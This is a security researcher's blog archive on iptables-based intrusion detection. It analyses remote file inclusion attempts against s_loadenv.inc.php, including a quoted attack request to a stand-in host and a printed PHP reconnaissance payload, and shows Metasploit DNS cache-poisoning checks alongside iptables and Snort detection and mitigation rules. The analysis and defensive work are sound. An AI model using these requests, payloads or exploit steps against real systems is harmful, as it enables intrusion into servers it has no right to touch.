cipherdyne.org

Michael Rash, Security Researcher



Intrusion Detection and iptables    [Summary View]

ISSA Journal's Toolsmith on fwsnort and iptables IDS

ISSA Toolsmith on fwsnort Russ McRee of holisticinfosec.org has written the October Toolsmith issue from the ISSA Journal about fwsnort and intrusion detection. Russ emphasizes practical usages of fwsnort with tuning the Snort signature set it translates into an iptables policy, and after using fwsnort to build a detection policy, he sends several example attacks at a webserver. These attacks include directory traversal, XSS, and CSRF attacks, and he illustrates how the attacks are detected by fwsnort via the iptables log messages it generates. Here is an attack identified as ET WEB-MISC Poison Null Byte by Snort rule ID 2003099, and below is the log message generated by fwsnort when the attack is sent against a webserver: alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB-MISC Poison Null Byte"; flow:established,to_server; uricontent:"|00|"; depth:400; reference:cve,2006-4542; reference:cve,2006-4458; reference:cve,2006-3602; reference:url,www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf; classtype: web-application-activity; sid:2003099; rev:3;)

Sep 4 16:59:45 holisticinfosec01 kernel: [29567.666562] [234] SID2003099 ESTAB IN=eth0 OUT= MAC=00:0c:6e:3c:b4:71:00:13:e8:e8:81:37:08:00 SRC=192.168.248.101 DST=192.168.248.104 LEN=40 TOS=0x00 PREC=0x00 TTL=128 ID=24638 DF PROTO=TCP SPT=7987 DPT=80 WINDOW=16126 RES=0x00 ACK URGP=0
Note the iptables log prefix "[234] SID2003099 ESTAB" above. This indicates that rule number 234 (from the custom FWSNORT_INPUT_ESTAB chain in this case which is jumped to from the built-in INPUT chain) matched traffic described by Snort rule ID 234, and that the match took place in an ESTABLISHED TCP connection. By using the iptables state tracking extensions, fwsnort matches up TCP connection states to packets on the wire in order to emulate the Snort flow keyword - at least to the extent that bi-directional communication is required before an event is generated.

Russ also mentions the fwsnort --ipt-drop and --ipt-reject command line arguments that change the stance of fwsnort from a detection engine to a mechanism that can drop malicious packets before forwarding them to their intended target. Given that iptables is firewall, it runs inline to network traffic by definition, and therefore is in ideal position to respond in this way.

Analyzing and Preventing s_loadenv DOCUMENT_ROOT Attacks

NIST vulnerability database Over the past month, in my web logs for cipherdyne.{com,org} there have been suspicious web requests against the file s_loadenv.inc.php even though this file does not exist on cipherdyne.{com,org}. These web requests attempt to force the webserver to execute a malicious PHP script via a web link provided in the DOCUMENT_ROOT form parameter. The requests basically look like the following (shown here as strings split across the perl '.' operator so that browsing this page does not set off any IDS alarm bells): 'GET ' . '/some/path/s_loadenv.inc.php?DOCUMENT' . '_ROOT' . '=http' . '://badsite.com/some/evil/phptext??'. Fortunately, I don't run any PHP code at all even though my site has a WordPress theme - it's just plain HTML that is updated by a set of custom perl scripts when I make new blog postings or new software releases. So, my site is not vulnerable to attacks against unsafe DOCUMENT_ROOT handling, and we can concentrate on analyzing the exploit attempts to get more information.

First things first - a check of the NIST vulnerability database (NVD) does not turn up any CVE reference related to a PHP script named s_loadenv.inc.php, and even a Google code search for this file also leaves us empty handed. There have been vulnerabilities related to DOCUMENT_ROOT handling before (search the NVD for "DOCUMENT_ROOT"), but none of the descriptions appear to match the web requests I'm seeing. So, whatever software is potentially vulnerable to this attack, either it is probably not well known, or a CVE ID hasn't been created yet. Some site administrators seem to post their web logs on the Internet for all to see, and based on a Google search, my guess is that the exploit targets a piece of Russian CMS software that I won't name, but I did attempt to contact the vendor to notify them of the problem just in case they don't already know about it - they never responded. The attack is fairly widespread though - I have over 1500 such requests in my web logs in the past month - and given the fact that most of the requests concentrate on a specific area of my website, I would guess that this attack has been included within an automated attack (more on this below).

Now, let's get a bit more sophisticated. The web requests advertise the links to download exploit code, so I wrote a script (which you can download) called s_loadenv_recon.pl to parse the web requests and download the malicious software pointed to by the DOCUMENT_ROOT links. Typical usage is to search through the Apache access_log file for web requests that match the strings s_loadenv.inc.php, DOCUMENT_ROOT, and http:, and send these logs through the script like so: $ grep "s_loadenv.inc.php" /var/www/logs/access_log | grep "DOCUMENT_ROOT" | grep "http:" | ./s_loadenv_recon.pl
[+] 202.181.210.195
/fwknop/docs/SPA.html//s_loadenv.inc.php
http://www.ganzkoerperpflege.at/files/oye.txt?? (1)
--11:40:29-- http://www.ganzkoerperpflege.at/files/oye.txt??
=> `oye.txt??'
Resolving www.ganzkoerperpflege.at... 69.89.25.184
Connecting to www.ganzkoerperpflege.at|69.89.25.184|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 882 [text/plain]

0% [ ] 0 --.--K/s
100%[===========================================>] 882 --.--K/s

11:40:29 (115.56 MB/s) - `oye.txt??' saved [882/882]
The s_loadenv_recon.pl script uses wget to grab each of the exploit code links, and stores them in the local directory s_loadenv_recon/ according to the IP of the original web request (with the IP used as a new directory where the data is stored). After letting this script run, I have a total of 352 files to examine that were requested by 144 unique IP addresses. By using the GeoIP database via the geoiplookup tool, these IP addresses represent the following countries: $ cd s_loadenv_recon/
$ for f in *; do geoiplookup $f; done |sort |uniq |perl -p -i -e 's|^.*?:\s||'
AT, Austria
AU, Australia
BE, Belgium
BG, Bulgaria
BR, Brazil
CA, Canada
CH, Switzerland
CL, Chile
CN, China
CO, Colombia
CZ, Czech Republic
DE, Germany
DK, Denmark
ES, Spain
FR, France
GB, United Kingdom
HK, Hong Kong
HU, Hungary
IT, Italy
JP, Japan
KR, Korea, Republic of
KZ, Kazakhstan
MO, Macau
--, N/A
NL, Netherlands
PL, Poland
PT, Portugal
RU, Russian Federation
TH, Thailand
TR, Turkey
TW, Taiwan
UA, Ukraine
US, United States
VN, Vietnam
Now, for the exploit code files, most are not very interesting and just instruct the server to reveal detailed config or status information. For example, here is a snippet from a file named icon.jpg that really contains PHP code: echo "bsdcr3w";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "We was here ... and u no !!!<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
However, one file downloaded by the s_loadenv_recon.pl script contains some much more interesting code with support for logging into an IRC channel, sending email, conducting port scans, issuing TCP and UDP floods, and spawning connect-back shells. This code is associated with the pBot trojan, and is detected by Snort rule ID 2003208 in the Emerging Threats rule set. (I'm not going to post the pBot code here - email me privately if you have a security research interest in it.) Rule 2003208 checks for IRC communications associated with the pBot trojan, so it will not detect the web requests against the s_loadenv.inc.php script mentioned earlier. In terms of the attack, what has probably happened is that exploits for PHP vulnerabilities can sometimes interchanged, and one of the malicious web requests linked to exploit code for the pBot trojan after it was discovered that the Russian CMS software is vulnerable. The vast majority of the web requests linked to PHP code that is not associated with pBot.

In addition to analyzing the malicious s_loadenv.inc.php web requests, this blog post is also about preventing them even if they link to relatively benign PHP code, so let's first write a basic Snort rule to detect matching requests. Then we'll use fwsnort to translate this rule into an iptables rule that uses the DROP target to prevent any web requests that match the rule from reaching the targeted webserver. # cd /etc/fwsnort/snort_rules/
# cat > s_loadenv.rules
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"s_loadenv.inc.php DOCUMENT_ROOT attempt"; flow:established,to_server; uricontent:"/s_loadenv.inc.php?"; uricontent:"DOCUMENT_ROOT="; uricontent:"http://" classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html; sid:20080001; rev:1;)
# fwsnort --include-type s_loadenv --ipt-drop > /dev/null
# /etc/fwsnort/fwsnort.sh
[+] Adding s_loadenv rules.
Rules added: 4
[+] Finished.
With the above commands executed, the FORWARD chain now contains the following two rules that LOG and DROP packets in established TCP connections with port 80 that match the strings described in rule 20080001 above. In closing, these rules are shown below. $IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -m comment --comment "sid:20080001; msg:s_loadenv.inc.php DOCUMENT_ROOT attempt; classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html; rev:1; FWS:1.0.5;" -j LOG --log-ip-options --log-tcp-options --log-prefix "[1] DRP SID20080001 ESTAB "
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -j DROP
If you have any additional insight regarding the suspicious requests against the s_loadenv.inc.php script, please email me.

NAT and Checking for DNS Cache Poisoning Exploitability

The Dan Kaminsky DNS Checker There are several online DNS checker services that are designed to test nameservers to see if they are vulnerable to the Dan Kaminsky DNS cache poisoning attack. These services perform an important function considering 1) the ease with which vulnerable servers can be exploited, and 2) the critical place DNS has in the Internet infrastructure. If you have not yet checked the nameserver you use for DNS resolution or switched to OpenDNS, let's just say that it is highly recommended, and Dan's talk at the Blackhat Briefings today drove home just how bad the problem is. Dan presented a nice visualization of how much effort has gone into the worldwide patching effort so far, but there is still a lot of work to do.

Online DNS checker services are handy, but unfortunately, not all of these DNS services work the same, and this blog post shows that certain flavors of NAT can make some of these services report nameservers as vulnerable when they really aren't.

Spoiler: The Doxpara and DNS-OARC services handle the NAT case properly by testing against multiple upstream nameservers, whereas the Metasploit test does not yet handle this (although I'm sure it won't be long before this is taken care of).

One of the main requirements for successfully exploiting a vulnerable nameserver is that the source port the server uses for recursive queries must be predictable by the attacker. It's not too difficult for an attacker to profile a potential target by issuing a series of DNS requests for random hostnames (and therefore not cached) in a domain under the attacker's control. Then, by watching how the targeted nameserver issues requests to the authoritative nameserver (controlled by the attacker), it is easy to check whether the source port seems randomly chosen or not. However, if the attacker is only using one authoritative nameserver, this limits the attacker to asking the question:

Are the source ports for recursive queries from the target to a single authoritative nameserver predictable?

...instead of:

Are the source ports for recursive queries from the target across a range of authoritative nameservers predictable?

(For the remainder of this discussion, we'll assume that a targeted nameserver is behind a NAT device, and all recursive DNS requests traverse this device.) The crux of the problem - from the viewpoint of an attacker - is that NAT devices do not always use the same strategy for translating UDP source ports. If the NAT always leaves the source port intact, then there is no problem, and the attacker only needs one authoritative DNS server in order to see whether the target randomizes source ports. If the NAT imposes an "n+m" rule, then this is also advantageous to the attacker with only one authoritative nameserver - even if the targeted DNS server randomizes source ports itself. But, if the NAT randomizes source ports according to a rule like "for the next 30 seconds, give all UDP packets with source port 12345 destined for IP1 a new source port of 48567, and all packets to IP2 a new source port of 34432, etc.", then the attacker with only one authoritative nameserver would see that all incoming queries have the same source port (at least for 30 seconds). Given that an actual DNS cache poisoning attack requires spoofed responses from nameservers that are (presumably) not under the control of the attacker, such a NAT device would thwart an attack because it would assign a new (random) port for the set of queries to each authoritative nameserver.

The iptables firewall with it's SNAT --random feature implements a strategy similar to the above, and we show how a few DNS checker services handle this for a targeted nameserver 22.2.2.2 (the IP is for illustration purposes only).

First, Dan's DNS checker reports the following: Your name server, at 22.2.2.2, appears to be safe, but make sure the ports
listed below aren't following an obvious pattern (:1001, :1002, :1003, or
:30000, :30020, :30100...). Requests seen for c26cd2dfd938.doxdns5.com:
22.2.2.2:40796 TXID=27431
22.2.2.2:28530 TXID=7761
22.2.2.2:56025 TXID=64688
22.2.2.2:30711 TXID=37206
22.2.2.2:24472 TXID=84
Good.

Now, DNS OARC reports: [attacker]# dig @22.2.2.2 +short porttest.dns-oarc.net TXT
porttest.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"22.2.2.2 is GREAT: 26 queries in 2.5 seconds from 26 ports with std dev 18972"
This is also good.

Finally, on the exploit side of things, Metasploit's service reports: [attacker]# ./msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > set RHOST 22.2.2.2
RHOST => 22.2.2.2
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] FAIL: This server uses a static source port and is vulnerable to poisoning
msf auxiliary(bailiwicked_host) >
But, the above argument shows that the Metasploit result is a false positive. After seeing such a result, the attacker might continue on with Metasploit and create a ton of DNS queries and spoofed responses, only to have the exploit attempt fail because the source port really isn't predictable for DNS queries issued to nameservers outside the attacker's control.

The prevalence of such NAT deployments is most likely low, but it would make an interesting research project to try and determine how many DNS servers are protected by such a mechanism. However, a key detail is that for testing this is that the DNS servers fundamentally must still select the same source port for recursive queries since if not then the iptables SNAT --random option will be more random (even for rapid sets of recursive queries). Source port randomization is exactly one of the things the patches to DNS servers is designed to address, so the opportunity to perform such research is closing. Also, hopefully no one is still setting query-source address * port within the named.conf file.

Update: 08/09/08 Jeff Jarmoc mentioned to me that the implementations of NAT on Cisco and Check Point devices can de-randomize source ports of services running on internal networks, and this problem even affects DNS servers that have been patched. That is an important point, and the problem was also noted in this blog post. The vendors are patching the issue, but there is a lot of work left.

Metasploit DNS Cache Poisoning and iptables Countermeasures

Metasploit and DNS Cache Poisoning Attacks On July 23rd, H D Moore, I)ruid, and the Metasploit Project released an exploit for the Dan Kaminsky DNS cache poisoning attack - the full details of which will be released at the Blackhat Briefings. We know that source port prediction for recursive queries is a key component to successfully poison a nameserver's cache, and the Metasploit exploit code offers the ability to check a targeted nameserver for predictable source ports. This check is implemented by sending a set of TXT queries against the metasploit.com domain to a targeted server, and - if recursion is enabled - the server will in turn send these queries (which are randomized and therefore not cached) to a nameserver that is authoritative for the metasploit.com domain. The information returned by the metasploit.com nameserver contains the source port the targeted nameserver used to issue the queries. If the source port exhibits a high degree of predictability (such as if the query-source address * port named.conf directive is used or if an external NAT device removes randomness in the source port on its own), then it is much easier to spoof responses to queries against the target from other nameservers and increase the chances that one of these spoofed responses will be cached.

Here is an example of using the source port check feature in Metasploit. Some output has been abbreviated, and the IP addresses 11.1.1.1 (hostname: attacker) and 22.2.2.2 (hostname: target) are used only for illustration purposes: [attacker]# ./msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > set RHOST 22.2.2.2
RHOST => 22.2.2.2
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] FAIL: This server uses a static source port and is vulnerable to poisoning
So, the source port used by the targeted nameserver is always 30001 - convenient.

If we examine the traffic generated by Metasploit on the wire, the TXT queries exhibit some nice structure. Note the spoofprobe-check and .red.metasploit.com strings in both the incoming queries responses (actually, incoming queries contain the bytes |03|red|0a|metasploit|03|com in Snort syntax): [attacker]# tcpdump -i eth0 -l -nn port 53
22:53:40.594082 IP 11.1.1.1.40866 > 22.2.2.2.53: 0+ TXT? spoofprobe-check-1-10913572965.red.metasploit.com. (67)
22:53:40.730809 IP 22.2.2.2.53 > 11.1.1.1.40866: 0 1/1/0 TXT "22.2.2.2:30001 IN IN::TXT spoofprobe-check-1-10913572965.red.metasploit.com" (182)
Further, in the query responses, the string IN::TXT is also returned. So, using this information, we can build iptables rules that leverage the string match extension to inspect application layer data for these strings. We can then have iptables take action such to log or drop packets that match.

If a nameserver is running locally on a Linux system, then the following rules detect inbound requests from the attacker (see the usage of the iptables --hex-string argument to describe the non-printable bytes in the incoming DNS request), as well as responses from the metasploit.com server to outbound recursive requests from the targeted nameserver. Note that you might want to combine the LOG rules with the iptables limit match in order to reduce the number of log messages created during an actual attack. Still, I find that having more data is usually good, and the number of source port reconnaissance queries is much less than the number of spoofed responses when a cache poisoning attempt is made anyway, so it shouldn't be too burdensome to leave off the limit match. [target]# iptables -I INPUT 1 -p udp --dport 53 -m string --string "spoofprobe-check" --algo bm -m string --hex-string "|03|red|0a|metasploit|03|com" --algo bm -j LOG --log-prefix "METASPLOIT DNS RECON QUERY "
[target]# iptables -I INPUT 1 -p udp --dport 53 -m string --string "spoofprobe-check" --algo bm -m string --hex-string "|03|red|0a|metasploit|03|com" --algo bm -j DROP

[target]# iptables -I INPUT 1 -p udp --sport 53 -m string --string "IN::TXT" --algo bm -m string --string "spoofprobe-check" --algo bm -m string --string ".red.metasploit.com" --algo bm -j LOG --log-prefix "METASPLOIT DNS RECON RESP "
[target]# iptables -I INPUT 1 -p udp --sport 53 -m string --string "IN::TXT" --algo bm -m string --string "spoofprobe-check" --algo bm -m string --string ".red.metasploit.com" --algo bm -j DROP
Similar rules can be added to the FORWARD chain (along with specifying the internal subnet or input interface so that directionality can be established) for nameservers that are deployed on a separate system behind a Linux system running iptables. The most important rules above are probably the first two, since matching packets reveal the source IP of the attacker. However, this is of limited use because the actual cache poisoning attack will involve packets spoofed from other authoritative nameservers, and it is possible to collect source port information from other sources. Still, having information about someone doing source port predictability reconnaissance against one of your nameservers with Metasploit is worth knowing.

With the rules above in place, the 'check' step in Metasploit is unable to tell that the targeted nameserver even responds to recursive queries at all, and back on the firewall system several METASPLOIT DNS RECON QUERY log messages are written to syslog by iptables: msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] ERROR: This server is not replying to recursive requests

[target]# tail /var/log/messages
Aug 2 06:39:55 target kernel: [933142.545502] METASPLOIT DNS RECON QUERY IN=eth0 OUT= MAC=00:13:46:3b:41:4c:00:12:46:c2:60:44:09:00 SRC=11.1.1.1 DST=22.2.2.2 LEN=96 TOS=0x00 PREC=0x00 TTL=63 ID=33573 DF PROTO=UDP SPT=40273 DPT=53 LEN=76
Aug 2 06:39:55 target kernel: [933142.637446] METASPLOIT DNS RECON QUERY IN=eth0 OUT= MAC=00:13:46:3b:41:4c:00:12:46:c2:60:44:09:00 SRC=11.1.1.1 DST=22.2.2.2 LEN=96 TOS=0x00 PREC=0x00 TTL=63 ID=33574 DF PROTO=UDP SPT=40273 DPT=53 LEN=76
On another note, before using Metasploit to test your DNS infrastructure to see if it is exploitable, it is important to know whether your local network allows spoofed packets out. Many firewalls can be configured to drop spoofed packets from internal systems, and even my little LinkSys router does this. Because there is no mechanism in Metasploit currently (as far as I know) to detect whether your local network filters spoofed packets (and building such a mechanism would be tricky for various technical reasons), an incorrect assumption can result in a cache poisoning attack that has no possibility of succeeding but that also generates thousands of DNS queries at the same time.

Finally, for those unpatched nameservers running behind an iptables firewall, the SNAT --random option can provide a work-around for predictable source ports. Nevertheless, the emphasis should always be on patching vulnerable servers since the source port problem is only one aspect of the vulnerability in DNS.

Mitigating DNS Cache Poisoning Attacks with iptables

Digg Mitigating the Kaminksy DNS attack Kaminsky DNS Exploit It is well known that last week Dan Kaminsky publicized a cache poisoning exploit against DNS. The details of this exploit have not yet been released, but Dan will present a talk at the Blackhat Briefings next month that will clarify the technical specifics behind the vulnerability - and therefore how to exploit it. Even though Dan has yet to release the details, enough information has already been released to show that iptables may be able to mitigate the vulnerability with a single well-chosen rule in your iptables policy. Further, this technique can be used right now whenever a vulnerable DNS server is deployed on (or behind) a system running iptables. Although updates have been released in a coordinated effort for most platforms, not everyone patches their systems immediately, and in some cases it can be easier to execute a few iptables commands than to deploy such updates. Of course, patching the vulnerability should be the top priority, but the exact details of the attack haven't been disclosed so it is hard to gauge risk. That said, if Dan Kaminsky says to patch, then it's probably a good idea to do so. In the meantime, let's press on.

The CERT advisory highlights three problems in the existing DNS infrastructure:

  1. Lack of sufficient randomness in the selection of source ports for DNS queries
  2. DNS transaction ID values that also exhibit insufficient randomness
  3. Multiple outstanding requests for the same resource record
For this blog post we are concerned about source port predictability for DNS queries, but Dan's cache poisoning attack (most likely) relies heavily on the first two problems in combination. Dan has probably found a clever way to weaponize his attack so that it can be leveraged against lots of DNS servers.

How can iptables help? First, let's assume that source port predictability is a necessary prerequisite to poison a DNS cache by Dan's technique. So, if iptables can introduce additional randomness into the source port that bind uses - at least as far as any upstream DNS server can tell - for each DNS query then an attacker would not be able to rely on source port predictability. The iptables SNAT target supports the ability to randomize both TCP and UDP source ports (see the --random option) even if a userspace application chooses a specific source port. This applies to both locally generated and forwarded packets. Hence, if a piece of userland software (such as bind) uses predictable source ports, iptables can rectify this via the SNAT target subject to some connection tracking restrictions.

To illustrate this, we use nmap with its --source-port option to set the source port to 44444 for a UDP scan of port 53 on two different servers, and verify with a packet trace that the source port is indeed set to this value. We'll assume the IP's 22.2.2.2 and 33.3.3.3 simulate upstream DNS servers from a local DNS server on the system with IP 11.1.1.1: # nmap --source-port 44444 -P0 -p 53 -sU 22.2.2.2 33.3.3.3

19:26:19.625637 IP 11.1.1.1.44444 > 22.2.2.2.53: [|domain]
19:26:19.625790 IP 11.1.1.1.44444 > 33.3.3.3.53: [|domain]
19:26:19.729520 IP 11.1.1.1.44444 > 33.3.3.3.53: [|domain]
19:26:20.626527 IP 11.1.1.1.44444 > 22.2.2.2.53: [|domain]
As you can see, the source port for each UDP datagram from 11.1.1.1 is set to 44444. Now, to force the source port to be randomized when each packet is transmitted despite setting it to 44444 from the nmap command line, let's use the SNAT target with the --random option (note that it is assumed that the iptables policy is also using connection tracking to allow expected replies through as well, etc.): # iptables -t nat -I POSTROUTING 1 -p udp -s 11.1.1.1 --dport 53 -j SNAT --to 11.1.1.1 --random By executing the same nmap command again, now we see that the SNAT target has changed the source port on the outgoing UDP datagrams to 9374 (for 22.2.2.2) and 54743 (for 33.3.3.3): # nmap --source-port 44444 -P0 -p 53 -sU 22.2.2.2 33.3.3.3

19:28:05.613637 IP 11.1.1.1.9374 > 22.2.2.2.53: [|domain]
19:28:05.613792 IP 11.1.1.1.54743 > 33.3.3.3.53: [|domain]
19:28:05.717536 IP 11.1.1.1.54743 > 33.3.3.3.53: [|domain]
19:28:06.617553 IP 11.1.1.1.9374 > 22.2.2.2.53: [|domain]
Hence, iptables can introduce randomness into source ports via a NAT operation regardless of whether a userspace application requests a specific source port.

However, you may have noticed that nmap generates two packets for each scan of UDP/53, and you may have also noticed that the source port is 9374 for both packets sent to 22.2.2.2, and 54743 for both packets sent to 33.3.3.3. While the original source port of 44444 has definitely been randomized, it appears that this randomization is not taking place on a per-packet basis. What is really happening is that iptables has to use its connection tracking mechanism to map packets translated with the SNAT target to the correct socket, and this mapping is created from the srcIP/dstIP/sport/dport/protocol tuple along with a set of timers (see the nf_ct_udp_timeout and nf_ct_udp_timeout_stream variables in the kernel linux/net/netfilter/nf_conntrack_proto_udp.c file). So, if multiple requests are made to the same upstream DNS server within a 30 second time window, then the SNAT --random rule will map the source port for each request to the same (randomly assigned) source port - the initial tuples are the same after all.

At first glance this might seem to be a show stopper, but assuming that Dan's cache poisoning attack requires a process of querying different DNS servers - at least one of which is under the control of the attacker so that the source port behavior of the targeted server can be monitored - then the SNAT --random strategy would provide an effective defense. That is, the iptables state tracking code will assign a different random source port on (at least) a per-server basis even for rapid sets of DNS queries. Further, for queries to the same DNS server that are 30 seconds apart, the source port will change on a per-query basis as well.

This should be an effective defense against the attack, but we'll have to wait for Blackhat to be sure.

On another note, applications commonly do not bother requesting specific source ports for client sockets because they assume that the networking stack provided by the local kernel will assign a sensible source port. Or, they don't have to worry about the source port because they build in enough security at the application layer (unlike DNS implementations that don't sufficiently randomize transaction ID's) such that source port prediction does not give an advantage to the attacker. Still, those stacks that don't choose a random source port are not helping the state of network security, and the Kaminsky DNS attack is a perfect example of why. It turns out that the Linux kernel has only recently started randomizing UDP source ports as of 2.6.24.

Update 07/16/2008: Jon Hart has also written a blog post that illustrates using OpenBSD's pf firewall to implement a similar mitigation strategy. Hence, multiple pieces of firewall infrastructure can offer effective protection from the cache poisoning attack.

IDS signature matching with iptables, psad, and fwsnort

IDS signature matching with iptables, psad, and fwsnort The UK's Unix & Open Systems User Group has re-printed an article I wrote originally for the December, 2007 security issue of USENIX ;login: Magazine The article is entitled "IDS signature matching with iptables, psad, and fwsnort" and concentrates on how to use the iptables infrastructure in the Linux kernel as a source of intrusion detection data. That is, iptables offers many features (such as application layer string matching) that allow a significant fraction of Snort rules to be converted into iptables rules, and fwsnort automates the conversion process. The end result is an iptables policy that is looking for evidence of malicious traffic. Also covered in the article is the concept of log analysis with an emphasis on passive OS fingerprinting. The completeness of the iptables logging format - which even includes the options portion of the TCP header when the --log-tcp-options argument is given on the iptables command line when building a LOG rule - allows psad to run the same algorithm that p0f uses to passively fingerprint remote operating systems.

In other news, Carla Schroder has written an article on psad for Enterprise Networking Planet. She recommends running psad alongside Snort, which falls nicely within the principle of defense-in-depth in order to maintain a strong defensive stance. Also, Noah Schiffman has written an article on port knocking for Network World. He mentions the usage of port knocking within some malware applications as an authentication mechanism, and he also touches on Single Packet Authorization.

Thwarting Distributed SSH Brute Force Attempts

Thwarting Distributed SSH Brute Force Attempts The SANS Internet Storm Center has an interesting diary entry that discusses a set of distributed brute force attempts against SSHD originating from a specific Class C subnet 58.147.10.0/24. According to the diary entry, a random selection of IP addresses within this subnet (which is owned by an organization in Thailand) are probing for listening SSH daemons on the open Internet, but each IP address is limiting the number of probes to two. Presumably this is to fly beneath the radar of any threshold-based detection mechanisms that might automatically block the attempts to communicate with SSHD.
     After rummaging around in my iptables logfiles, I noticed the following two log entries that show exactly two SYN packets from the IP 58.147.10.209 and destined for one of my systems: Jun 3 14:55:06 minastirith kernel: DROP IN=eth0 OUT= MAC=00:13:d3:38:b6:e4:00:90:1a:a0:1c:ec:08:00 SRC=58.147.10.209 DST=71.N.N.N LEN=60 TOS=0x00 PREC=0x00 TTL=44 ID=11651 DF PROTO=TCP SPT=57473 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405780402080A7CCF5BC50000000001030302)
Jun 3 14:55:09 minastirith kernel: DROP IN=eth0 OUT= MAC=00:13:d3:38:b6:e4:00:90:1a:a0:1c:ec:08:00 SRC=58.147.10.209 DST=71.N.N.N LEN=60 TOS=0x00 PREC=0x00 TTL=44 ID=11653 DF PROTO=TCP SPT=57473 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0 OPT (020405780402080A7CCF677D0000000001030302)
These two packets date back to June of last year, so the 58.147.10.0/24 network has apparently been active for quite some time. So, beyond the whois information mentioned in the ISC diary entry, can we tell anything more about our friend at 58.147.10.209? Because I always use the --log-tcp-options command line argument when building my iptables LOG rules, we have nice hex dumps included in the log messages above that represent the options portion of the TCP header. Having this information is necessary in order to passively fingerprint the remote TCP stack with p0f. The psad project re-implements the p0f algorithm over iptables log messages - p0f requires raw packet data acquired via libpcap - so what does psad have to say about the remote TCP stack? [minastirith]# psad -A -m /var/log/messages --restrict-ip 58.147.10.209
[+] p0f(): 58.147.10.209 len: 60, frag_bit: 1, ttl: 44, win: 5840
[+] MSS: 1400, SACK, Timestamp: 2093964229, NOP, Win Scale: 2,
Could not match 58.147.10.209 against any p0f signature.
Oh well, that is unfortunate. So, p0f does not seem to have a fingerprint that can characterize the remote TCP stack. I also looked through the passive OS fingerprinting database included with the ettercap project, but no luck there either. This was a manual process though because psad does not yet support the format of the fingerprints in ettercap, but this will be supported in the next release.
     In the meantime, the discussion in the diary entry advocates limiting the set of IP addresses that are allowed to talk to the SSH daemon, but ends with a comment stating that this is not always possible. I agree with this comment, and this is highlighted whenever you administer a system and you need access to SSHD from unpredictable source addresses (such as when travel is involved). A robust solution is to deploy Single Packet Authorization with a default-drop packet filter. Why let arbitrary source IP addresses communicate with your SSH daemon?

iptables vs. Check Point Firewalls

iptables vs. Check Point Firewalls In October, 2003, I wrote an article entitled "Firewalls: Doing it Yourself" for Information Security Magazine. It looks like the original link to the article has been taken down, so I have mirrored it here for anyone who would like to read it. This article is now four years old, and needs to be updated to cover new features in firewalls provided both by the Linux community (iptables) and by Check Point Software Technologies. A few things stand out in my mind since writing the original article:
  • It appears as though Vyatta is providing an open source routing stack as a competitor to Cisco's products, and this is serious competition to the Zebra project mentioned in the article. Zebra is no longer actively developed as it has been reincarnated as the Quagga Routing Suite.
  • These days, application layer inspection in firewall products is much more important as the number of application security vulnerabilities shows no sign of letting up, and high profile incidents of everything from phishing attacks, client side exploits, and identity theft continue to make the news. The iptables string match extension is a strong open source answer to providing application layer inspection for iptables firewalls.
  • Proprietary intrusion prevention systems (such as the Enterasys Dragon IDS/IPS - disclaimer: I work for Enterasys) are building in features that place more emphasis on filtering policies; a job that is typically done with a firewall or other filtering device that is designed to enforce policy.
  • The open source community has continued to make meteoric strides in the last four years, and now purchasing support for open source software is easier with large corporate backers than it was four years ago. Also, open source software is now understood much better by non-techies as an infrastructure that can greatly assist just about any organization, and this applies to security software as well as more traditional software.

Trailing Spaces and iptables LOG Prefixes

